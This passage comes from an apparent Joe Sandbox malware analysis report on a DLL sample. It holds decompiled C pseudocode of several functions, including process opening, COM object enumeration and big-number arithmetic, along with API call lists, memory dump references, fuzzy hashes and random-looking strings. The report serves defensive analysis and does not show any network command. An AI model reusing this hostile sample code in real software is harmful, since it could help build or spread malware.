				_t4 = GetVersion();
				if(_t4 != 5) {
					L4:
					if(_t15 <= 0) {
						_t5 = 0x32;
						return _t5;
					}
					L5:
					 *0x27ca2fc = _t4;
					_t6 = GetCurrentProcessId();
					 *0x27ca2f8 = _t6;
					 *0x27ca304 = _a4;
					_t7 = OpenProcess(0x10047a, 0, _t6);
					 *0x27ca2f4 = _t7;
					if(_t7 == 0) {
						 *0x27ca2f4 =  *0x27ca2f4 | 0xffffffff;
					}
					return 0;
				}
				if(_t4 >> 8 > 0) {
					goto L5;
				}
				_t15 = _t4 - _t4;
				goto L4;
			}









                    0x027c54e0
                    0x027c54e6
                    0x027c54ed
                    0x00000000
                    0x027c5547
                    0x027c54ef
                    0x027c54f7
                    0x027c5504
                    0x027c5504
                    0x027c5544
                    0x00000000
                    0x027c5544
                    0x027c5506
                    0x027c5506
                    0x027c550b
                    0x027c551d
                    0x027c5522
                    0x027c5528
                    0x027c552e
                    0x027c5535
                    0x027c5537
                    0x027c5537
                    0x00000000
                    0x027c553e
                    0x027c5500
                    0x00000000
                    0x00000000
                    0x027c5502
                    0x00000000

                    APIs
                    • CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,027C5037,?), ref: 027C54E0
                    • GetVersion.KERNEL32 ref: 027C54EF
                    • GetCurrentProcessId.KERNEL32 ref: 027C550B
                    • OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 027C5528
                    • GetLastError.KERNEL32 ref: 027C5547
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: Process$CreateCurrentErrorEventLastOpenVersion
                    • String ID:
                    • API String ID: 2270775618-0
                    • Opcode ID: 2ca2dda64d81ce4efe8785951a3464a224e9a1a155e2718ac5b29c8a7ea9d028
                    • Instruction ID: 845719697cd38b5d09ff74da366cdef648eafe53e8d706af7f5483c0ed4ca9a2
                    • Opcode Fuzzy Hash: 2ca2dda64d81ce4efe8785951a3464a224e9a1a155e2718ac5b29c8a7ea9d028
                    • Instruction Fuzzy Hash: BDF031B0AC0327DBD7544F34BC19B253B63A784752F70881DEA56E61C4E776D0A0CB19
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB88B2D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • BSUZnYlubCPfUobkskAPwGSmwide, xrefs: 6CB88BE0
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: BSUZnYlubCPfUobkskAPwGSmwide
                    • API String ID: 1384045349-1939733658
                    • Opcode ID: f08d2f17be0950e5ecfcc7944ca847f3128b2dbd4ef03bc76bdaabc5758bb394
                    • Instruction ID: 4d9a9a42f7e4b57139d32f4cece5acdc41196cd860d36004f53cf3e4972a4a16
                    • Opcode Fuzzy Hash: f08d2f17be0950e5ecfcc7944ca847f3128b2dbd4ef03bc76bdaabc5758bb394
                    • Instruction Fuzzy Hash: 2F416CB5A052A88FCF25CB64CC94AEEB7B9AF89204F0041D9D55967711DF305F88CF62
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB825FC Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25COMMON
                    Download Yara Rule
                    APIs
                    Strings
                    • wpdJAmIHjCwXvrSepeiy, xrefs: 6CB82612
                    • IqOoBNGdBhWctkaCbVBRyyjWSuxeeXiYmHBCj, xrefs: 6CB8263A
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task
                    • String ID: IqOoBNGdBhWctkaCbVBRyyjWSuxeeXiYmHBCj$wpdJAmIHjCwXvrSepeiy
                    • API String ID: 1384045349-2933859699
                    • Opcode ID: 596d187fc7c57c1e798c58c5313c33ce79b62d2e743f23d59a9674d40c4747cb
                    • Instruction ID: de7224cd63a2d11dc65b101edf43d9f6732c35f8b1a1909749d26455829333a9
                    • Opcode Fuzzy Hash: 596d187fc7c57c1e798c58c5313c33ce79b62d2e743f23d59a9674d40c4747cb
                    • Instruction Fuzzy Hash: A4F05E70D412C8CACB20DB60CD69BECB770AF21308F5440A9D5252BA81DF782F58CFA6
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB95ADD Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    • GetConsoleOutputCP.KERNEL32(0B724F1C,?,00000000,?), ref: 6CB95B40
                      • Part of subcall function 6CB93196: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6CB91581,?,00000000,-00000008), ref: 6CB93242
                    • WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 6CB95D9B
                    • WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 6CB95DE3
                    • GetLastError.KERNEL32 ref: 6CB95E86
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
                    • String ID:
                    • API String ID: 2112829910-0
                    • Opcode ID: a50693afcdaa0e16d944c17589ecf5d4245619aee39e9c95e99f06b7d7f54aa2
                    • Instruction ID: 30b9718cf4711cb5ea0b80d3aa5899279e88faea34784b76d7c5b3823f33eaf9
                    • Opcode Fuzzy Hash: a50693afcdaa0e16d944c17589ecf5d4245619aee39e9c95e99f06b7d7f54aa2
                    • Instruction Fuzzy Hash: A3D18B75E046989FCF01CFA8C8809DDBBB4FF0A314F18422AE925EB751E730A806CB55
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8D639 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: AdjustPointer
                    • String ID:
                    • API String ID: 1740715915-0
                    • Opcode ID: 92b16dff397898fedb4ccc04ea40ea266666dc62eff3812d07803caa32b06624
                    • Instruction ID: 72ff9f2a28c6549a9cd22ab1db609301291a4f2bde4e8330c4a1151525a79692
                    • Opcode Fuzzy Hash: 92b16dff397898fedb4ccc04ea40ea266666dc62eff3812d07803caa32b06624
                    • Instruction Fuzzy Hash: 1751E07A607287EFEF058F65E841BAAB7A5EF11318F20452FDD1547A90EB31E840CB91
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C6CDF Relevance: 6.2, APIs: 4, Instructions: 154memorystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 46%
                    			E027C6CDF(intOrPtr* __eax) {
				void* _v8;
				WCHAR* _v12;
				void* _v16;
				char _v20;
				void* _v24;
				intOrPtr _v28;
				void* _v32;
				intOrPtr _v40;
				short _v48;
				intOrPtr _v56;
				short _v64;
				intOrPtr* _t54;
				intOrPtr* _t56;
				intOrPtr _t57;
				intOrPtr* _t58;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr* _t63;
				intOrPtr* _t65;
				short _t67;
				intOrPtr* _t68;
				intOrPtr* _t70;
				intOrPtr* _t72;
				intOrPtr* _t75;
				intOrPtr* _t77;
				intOrPtr _t79;
				intOrPtr* _t83;
				intOrPtr* _t87;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t118;
				void* _t122;
				void* _t123;
				intOrPtr _t130;

				_t123 = _t122 - 0x3c;
				_push( &_v8);
				_push(__eax);
				_t118 =  *((intOrPtr*)( *__eax + 0x48))();
				if(_t118 >= 0) {
					_t54 = _v8;
					_t103 =  *0x27ca348; // 0x10fd5a8
					_t5 = _t103 + 0x27cb038; // 0x3050f485
					_t118 =  *((intOrPtr*)( *_t54))(_t54, _t5,  &_v32);
					_t56 = _v8;
					_t57 =  *((intOrPtr*)( *_t56 + 8))(_t56);
					if(_t118 >= 0) {
						__imp__#2(0x27c9284);
						_v28 = _t57;
						if(_t57 == 0) {
							_t118 = 0x8007000e;
						} else {
							_t60 = _v32;
							_t61 =  *((intOrPtr*)( *_t60 + 0xbc))(_t60, _v28,  &_v24);
							_t87 = __imp__#6;
							_t118 = _t61;
							if(_t118 >= 0) {
								_t63 = _v24;
								_t118 =  *((intOrPtr*)( *_t63 + 0x24))(_t63,  &_v20);
								if(_t118 >= 0) {
									_t130 = _v20;
									if(_t130 != 0) {
										_t67 = 3;
										_v64 = _t67;
										_v48 = _t67;
										_v56 = 0;
										_v40 = 0;
										if(_t130 > 0) {
											while(1) {
												_t68 = _v24;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t123 = _t123;
												asm("movsd");
												asm("movsd");
												asm("movsd");
												asm("movsd");
												_t118 =  *((intOrPtr*)( *_t68 + 0x2c))(_t68,  &_v8);
												if(_t118 < 0) {
													goto L16;
												}
												_t70 = _v8;
												_t109 =  *0x27ca348; // 0x10fd5a8
												_t28 = _t109 + 0x27cb0e4; // 0x3050f1ff
												_t118 =  *((intOrPtr*)( *_t70))(_t70, _t28,  &_v16);
												if(_t118 >= 0) {
													_t75 = _v16;
													_t118 =  *((intOrPtr*)( *_t75 + 0x34))(_t75,  &_v12);
													if(_t118 >= 0 && _v12 != 0) {
														_t79 =  *0x27ca348; // 0x10fd5a8
														_t33 = _t79 + 0x27cb078; // 0x76006f
														if(lstrcmpW(_v12, _t33) == 0) {
															_t83 = _v16;
															 *((intOrPtr*)( *_t83 + 0x114))(_t83);
														}
														 *_t87(_v12);
													}
													_t77 = _v16;
													 *((intOrPtr*)( *_t77 + 8))(_t77);
												}
												_t72 = _v8;
												 *((intOrPtr*)( *_t72 + 8))(_t72);
												_v40 = _v40 + 1;
												if(_v40 < _v20) {
													continue;
												}
												goto L16;
											}
										}
									}
								}
								L16:
								_t65 = _v24;
								 *((intOrPtr*)( *_t65 + 8))(_t65);
							}
							 *_t87(_v28);
						}
						_t58 = _v32;
						 *((intOrPtr*)( *_t58 + 8))(_t58);
					}
				}
				return _t118;
			}





































                    0x027c6ce4
                    0x027c6ced
                    0x027c6cee
                    0x027c6cf2
                    0x027c6cf8
                    0x027c6cfe
                    0x027c6d07
                    0x027c6d0d
                    0x027c6d17
                    0x027c6d19
                    0x027c6d1f
                    0x027c6d24
                    0x027c6d2f
                    0x027c6d35
                    0x027c6d3a
                    0x027c6e5c
                    0x027c6d40
                    0x027c6d40
                    0x027c6d4d
                    0x027c6d53
                    0x027c6d59
                    0x027c6d5d
                    0x027c6d63
                    0x027c6d70
                    0x027c6d74
                    0x027c6d7a
                    0x027c6d7d
                    0x027c6d85
                    0x027c6d86
                    0x027c6d8a
                    0x027c6d8e
                    0x027c6d91
                    0x027c6d94
                    0x027c6d9a
                    0x027c6da3
                    0x027c6da9
                    0x027c6daa
                    0x027c6dad
                    0x027c6dae
                    0x027c6daf
                    0x027c6db7
                    0x027c6db8
                    0x027c6db9
                    0x027c6dbb
                    0x027c6dbf
                    0x027c6dc3
                    0x00000000
                    0x00000000
                    0x027c6dc9
                    0x027c6dd2
                    0x027c6dd8
                    0x027c6de2
                    0x027c6de6
                    0x027c6de8
                    0x027c6df5
                    0x027c6df9
                    0x027c6e01
                    0x027c6e06
                    0x027c6e18
                    0x027c6e1a
                    0x027c6e20
                    0x027c6e20
                    0x027c6e29
                    0x027c6e29
                    0x027c6e2b
                    0x027c6e31
                    0x027c6e31
                    0x027c6e34
                    0x027c6e3a
                    0x027c6e3d
                    0x027c6e46
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c6e46
                    0x027c6d9a
                    0x027c6d94
                    0x027c6d7d
                    0x027c6e4c
                    0x027c6e4c
                    0x027c6e52
                    0x027c6e52
                    0x027c6e58
                    0x027c6e58
                    0x027c6e61
                    0x027c6e67
                    0x027c6e67
                    0x027c6d24
                    0x027c6e70

                    APIs
                    • SysAllocString.OLEAUT32(027C9284), ref: 027C6D2F
                    • lstrcmpW.KERNEL32(00000000,0076006F), ref: 027C6E10
                    • SysFreeString.OLEAUT32(00000000), ref: 027C6E29
                    • SysFreeString.OLEAUT32(?), ref: 027C6E58
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: String$Free$Alloclstrcmp
                    • String ID:
                    • API String ID: 1885612795-0
                    • Opcode ID: d13ad206399cd30c0514d755c4fa275c2996ff1144ecc057a45619cae8fed9bf
                    • Instruction ID: ffa1f52e2d8a66c5880120a4b7b688b68deb70e0b35254395fc45442f95f00f8
                    • Opcode Fuzzy Hash: d13ad206399cd30c0514d755c4fa275c2996ff1144ecc057a45619cae8fed9bf
                    • Instruction Fuzzy Hash: 5D512D75D00519EFCB01DFB8C8889AEB7BAFF88705B24859DE915EB210D7319D41CBA0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C597D Relevance: 6.2, APIs: 4, Instructions: 154memoryCOMMON
                    Download Yara Rule
                    APIs
                    • SysAllocString.OLEAUT32(?), ref: 027C59B8
                    • SysFreeString.OLEAUT32(00000000), ref: 027C5A9D
                      • Part of subcall function 027C6CDF: SysAllocString.OLEAUT32(027C9284), ref: 027C6D2F
                    • SafeArrayDestroy.OLEAUT32(00000000), ref: 027C5AF0
                    • SysFreeString.OLEAUT32(00000000), ref: 027C5AFF
                      • Part of subcall function 027C77E3: Sleep.KERNEL32(000001F4), ref: 027C782B
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: String$AllocFree$ArrayDestroySafeSleep
                    • String ID:
                    • API String ID: 3193056040-0
                    • Opcode ID: 7f873039bcceb684568941eab536ee3be4b796c153cf572a940599a3ed9e41a4
                    • Instruction ID: 5b2bf1fa88efaae7bd9e85e65014fedf3b22ee5ae07c4178ee20944236ae7612
                    • Opcode Fuzzy Hash: 7f873039bcceb684568941eab536ee3be4b796c153cf572a940599a3ed9e41a4
                    • Instruction Fuzzy Hash: 07513075900609EFDB02DFB9C888A9EB7B6FF88714B24882DE505EB210DB71ED45CB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C4781 Relevance: 6.1, APIs: 4, Instructions: 136COMMON
                    Download Yara Rule
                    C-Code - Quality: 85%
                    			E027C4781(signed int __eax, void* __eflags, intOrPtr _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr _v12;
				signed int _v16;
				void _v156;
				void _v428;
				void* _t55;
				unsigned int _t56;
				signed int _t66;
				signed int _t74;
				void* _t76;
				signed int _t79;
				void* _t81;
				void* _t92;
				void* _t96;
				signed int* _t99;
				signed int _t101;
				signed int _t103;
				void* _t107;

				_t92 = _a12;
				_t101 = __eax;
				_t55 = E027C61EF(_a16, _t92);
				_t79 = _t55;
				if(_t79 == 0) {
					L18:
					return _t55;
				}
				_t56 =  *(_t92 + _t79 * 4 - 4);
				_t81 = 0;
				_t96 = 0x20;
				if(_t56 == 0) {
					L4:
					_t97 = _t96 - _t81;
					_v12 = _t96 - _t81;
					E027C6725(_t79,  &_v428);
					 *((intOrPtr*)(_t107 + _t101 * 4 - 0x1a8)) = E027C7477(_t101,  &_v428, _a8, _t96 - _t81);
					E027C7477(_t79,  &_v156, _a12, _t97);
					_v8 =  *((intOrPtr*)(_t107 + _t79 * 4 - 0x9c));
					_t66 = E027C6725(_t101, 0x27ca1d0);
					_t103 = _t101 - _t79;
					_a8 = _t103;
					if(_t103 < 0) {
						L17:
						E027C6725(_a16, _a4);
						E027C7894(_t79,  &_v428, _a4, _t97);
						memset( &_v428, 0, 0x10c);
						_t55 = memset( &_v156, 0, 0x84);
						goto L18;
					}
					_t99 = _t107 + (_t103 + _t79) * 4 - 0x1a8;
					do {
						if(_v8 != 0xffffffff) {
							_push(1);
							_push(0);
							_push(0);
							_push( *_t99);
							L027C82DA();
							_t74 = _t66 +  *(_t99 - 4);
							asm("adc edx, esi");
							_push(0);
							_push(_v8 + 1);
							_push(_t92);
							_push(_t74);
							L027C82D4();
							if(_t92 > 0 || _t74 > 0xffffffff) {
								_t74 = _t74 | 0xffffffff;
								_v16 = _v16 & 0x00000000;
							}
						} else {
							_t74 =  *_t99;
						}
						_t106 = _t107 + _a8 * 4 - 0x1a8;
						_a12 = _t74;
						_t76 = E027C5F09(_t79,  &_v156, _t92, _t107 + _a8 * 4 - 0x1a8, _t107 + _a8 * 4 - 0x1a8, _t74);
						while(1) {
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							L13:
							_t92 =  &_v156;
							if(E027C6E71(_t79, _t92, _t106) < 0) {
								break;
							}
							L14:
							_a12 = _a12 + 1;
							_t76 = E027C10A0(_t79,  &_v156, _t106, _t106);
							 *_t99 =  *_t99 - _t76;
							if( *_t99 != 0) {
								goto L14;
							}
							goto L13;
						}
						_a8 = _a8 - 1;
						_t66 = _a12;
						_t99 = _t99 - 4;
						 *(0x27ca1d0 + _a8 * 4) = _t66;
					} while (_a8 >= 0);
					_t97 = _v12;
					goto L17;
				}
				while(_t81 < _t96) {
					_t81 = _t81 + 1;
					_t56 = _t56 >> 1;
					if(_t56 != 0) {
						continue;
					}
					goto L4;
				}
				goto L4;
			}





















                    0x027c4784
                    0x027c4790
                    0x027c4796
                    0x027c479b
                    0x027c479f
                    0x027c4911
                    0x027c4915
                    0x027c4915
                    0x027c47a5
                    0x027c47a9
                    0x027c47ad
                    0x027c47b0
                    0x027c47bb
                    0x027c47c1
                    0x027c47c6
                    0x027c47c9
                    0x027c47e3
                    0x027c47f2
                    0x027c47fe
                    0x027c4808
                    0x027c480d
                    0x027c480f
                    0x027c4812
                    0x027c48c9
                    0x027c48cf
                    0x027c48e0
                    0x027c48f3
                    0x027c4909
                    0x00000000
                    0x027c490e
                    0x027c481b
                    0x027c4822
                    0x027c4826
                    0x027c482c
                    0x027c482e
                    0x027c4830
                    0x027c4832
                    0x027c4834
                    0x027c483e
                    0x027c4843
                    0x027c4845
                    0x027c4847
                    0x027c4848
                    0x027c4849
                    0x027c484a
                    0x027c4851
                    0x027c4858
                    0x027c485b
                    0x027c485b
                    0x027c4828
                    0x027c4828
                    0x027c4828
                    0x027c4863
                    0x027c486b
                    0x027c4877
                    0x027c487c
                    0x027c487c
                    0x027c4881
                    0x00000000
                    0x00000000
                    0x027c4883
                    0x027c4886
                    0x027c4893
                    0x00000000
                    0x00000000
                    0x027c4895
                    0x027c4895
                    0x027c48a2
                    0x027c487c
                    0x027c4881
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c4881
                    0x027c48ac
                    0x027c48af
                    0x027c48b2
                    0x027c48b9
                    0x027c48b9
                    0x027c48c6
                    0x00000000
                    0x027c48c6
                    0x027c47b2
                    0x027c47b6
                    0x027c47b7
                    0x027c47b9
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c47b9
                    0x00000000

                    APIs
                    • _allmul.NTDLL(?,00000000,00000000,00000001), ref: 027C4834
                    • _aulldiv.NTDLL(00000000,?,00000100,00000000), ref: 027C484A
                    • memset.NTDLL ref: 027C48F3
                    • memset.NTDLL ref: 027C4909
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: memset$_allmul_aulldiv
                    • String ID:
                    • API String ID: 3041852380-0
                    • Opcode ID: 41d639916b23137cbdaad67537bb1d9f74235672eb421af553c5949566774e4b
                    • Instruction ID: 15fcdc6317a60452d026341b532b0dc49442c07b0d80b7653afd57769fc6cc25
                    • Opcode Fuzzy Hash: 41d639916b23137cbdaad67537bb1d9f74235672eb421af553c5949566774e4b
                    • Instruction Fuzzy Hash: D841A371A00259AFDB119F78CC99BEE77BAEF45310F20456DE919A7280EB70AE44CF50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C454F Relevance: 6.1, APIs: 4, Instructions: 112COMMON
                    Download Yara Rule
                    C-Code - Quality: 39%
                    			E027C454F(void* __eax, void* __ecx) {
				char _v8;
				void* _v12;
				intOrPtr _v16;
				char _v20;
				void* __esi;
				intOrPtr _t36;
				intOrPtr* _t37;
				intOrPtr* _t39;
				void* _t53;
				long _t58;
				void* _t59;

				_t53 = __ecx;
				_t59 = __eax;
				_t58 = 0;
				ResetEvent( *(__eax + 0x1c));
				_push( &_v8);
				_push(4);
				_push( &_v20);
				_push( *((intOrPtr*)(_t59 + 0x18)));
				if( *0x27ca160() != 0) {
					L5:
					if(_v8 == 0) {
						 *((intOrPtr*)(_t59 + 0x30)) = 0;
						L21:
						return _t58;
					}
					 *0x27ca174(0, 1,  &_v12);
					if(0 != 0) {
						_t58 = 8;
						goto L21;
					}
					_t36 = E027C33DC(0x1000);
					_v16 = _t36;
					if(_t36 == 0) {
						_t58 = 8;
						L18:
						_t37 = _v12;
						 *((intOrPtr*)( *_t37 + 8))(_t37);
						goto L21;
					}
					_push(0);
					_push(_v8);
					_push( &_v20);
					while(1) {
						_t39 = _v12;
						_t56 =  *_t39;
						 *((intOrPtr*)( *_t39 + 0x10))(_t39);
						ResetEvent( *(_t59 + 0x1c));
						_push( &_v8);
						_push(0x1000);
						_push(_v16);
						_push( *((intOrPtr*)(_t59 + 0x18)));
						if( *0x27ca160() != 0) {
							goto L13;
						}
						_t58 = GetLastError();
						if(_t58 != 0x3e5) {
							L15:
							E027C61DA(_v16);
							if(_t58 == 0) {
								_t58 = E027C2B18(_v12, _t59);
							}
							goto L18;
						}
						_t58 = E027C16B2( *(_t59 + 0x1c), _t56, 0xffffffff);
						if(_t58 != 0) {
							goto L15;
						}
						_t58 =  *((intOrPtr*)(_t59 + 0x28));
						if(_t58 != 0) {
							goto L15;
						}
						L13:
						_t58 = 0;
						if(_v8 == 0) {
							goto L15;
						}
						_push(0);
						_push(_v8);
						_push(_v16);
					}
				}
				_t58 = GetLastError();
				if(_t58 != 0x3e5) {
					L4:
					if(_t58 != 0) {
						goto L21;
					}
					goto L5;
				}
				_t58 = E027C16B2( *(_t59 + 0x1c), _t53, 0xffffffff);
				if(_t58 != 0) {
					goto L21;
				}
				_t58 =  *((intOrPtr*)(_t59 + 0x28));
				goto L4;
			}














                    0x027c454f
                    0x027c455e
                    0x027c4563
                    0x027c4565
                    0x027c456a
                    0x027c456b
                    0x027c4570
                    0x027c4571
                    0x027c457c
                    0x027c45ad
                    0x027c45b2
                    0x027c4675
                    0x027c4678
                    0x027c467e
                    0x027c467e
                    0x027c45bf
                    0x027c45c7
                    0x027c4672
                    0x00000000
                    0x027c4672
                    0x027c45d2
                    0x027c45d7
                    0x027c45dc
                    0x027c4664
                    0x027c4665
                    0x027c4665
                    0x027c466b
                    0x00000000
                    0x027c466b
                    0x027c45e2
                    0x027c45e4
                    0x027c45ea
                    0x027c45eb
                    0x027c45eb
                    0x027c45ee
                    0x027c45f1
                    0x027c45f7
                    0x027c45fc
                    0x027c45fd
                    0x027c4602
                    0x027c4605
                    0x027c4610
                    0x00000000
                    0x00000000
                    0x027c4618
                    0x027c4620
                    0x027c4649
                    0x027c464c
                    0x027c4653
                    0x027c465e
                    0x027c465e
                    0x00000000
                    0x027c4653
                    0x027c462c
                    0x027c4630
                    0x00000000
                    0x00000000
                    0x027c4632
                    0x027c4637
                    0x00000000
                    0x00000000
                    0x027c4639
                    0x027c4639
                    0x027c463e
                    0x00000000
                    0x00000000
                    0x027c4640
                    0x027c4641
                    0x027c4644
                    0x027c4644
                    0x027c45eb
                    0x027c4584
                    0x027c458c
                    0x027c45a5
                    0x027c45a7
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c45a7
                    0x027c4598
                    0x027c459c
                    0x00000000
                    0x00000000
                    0x027c45a2
                    0x00000000

                    APIs
                    • ResetEvent.KERNEL32(?), ref: 027C4565
                    • GetLastError.KERNEL32 ref: 027C457E
                      • Part of subcall function 027C16B2: WaitForMultipleObjects.KERNEL32(00000002,027C7C47,00000000,027C7C47,?,?,?,027C7C47,0000EA60), ref: 027C16CD
                    • ResetEvent.KERNEL32(?), ref: 027C45F7
                    • GetLastError.KERNEL32 ref: 027C4612
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
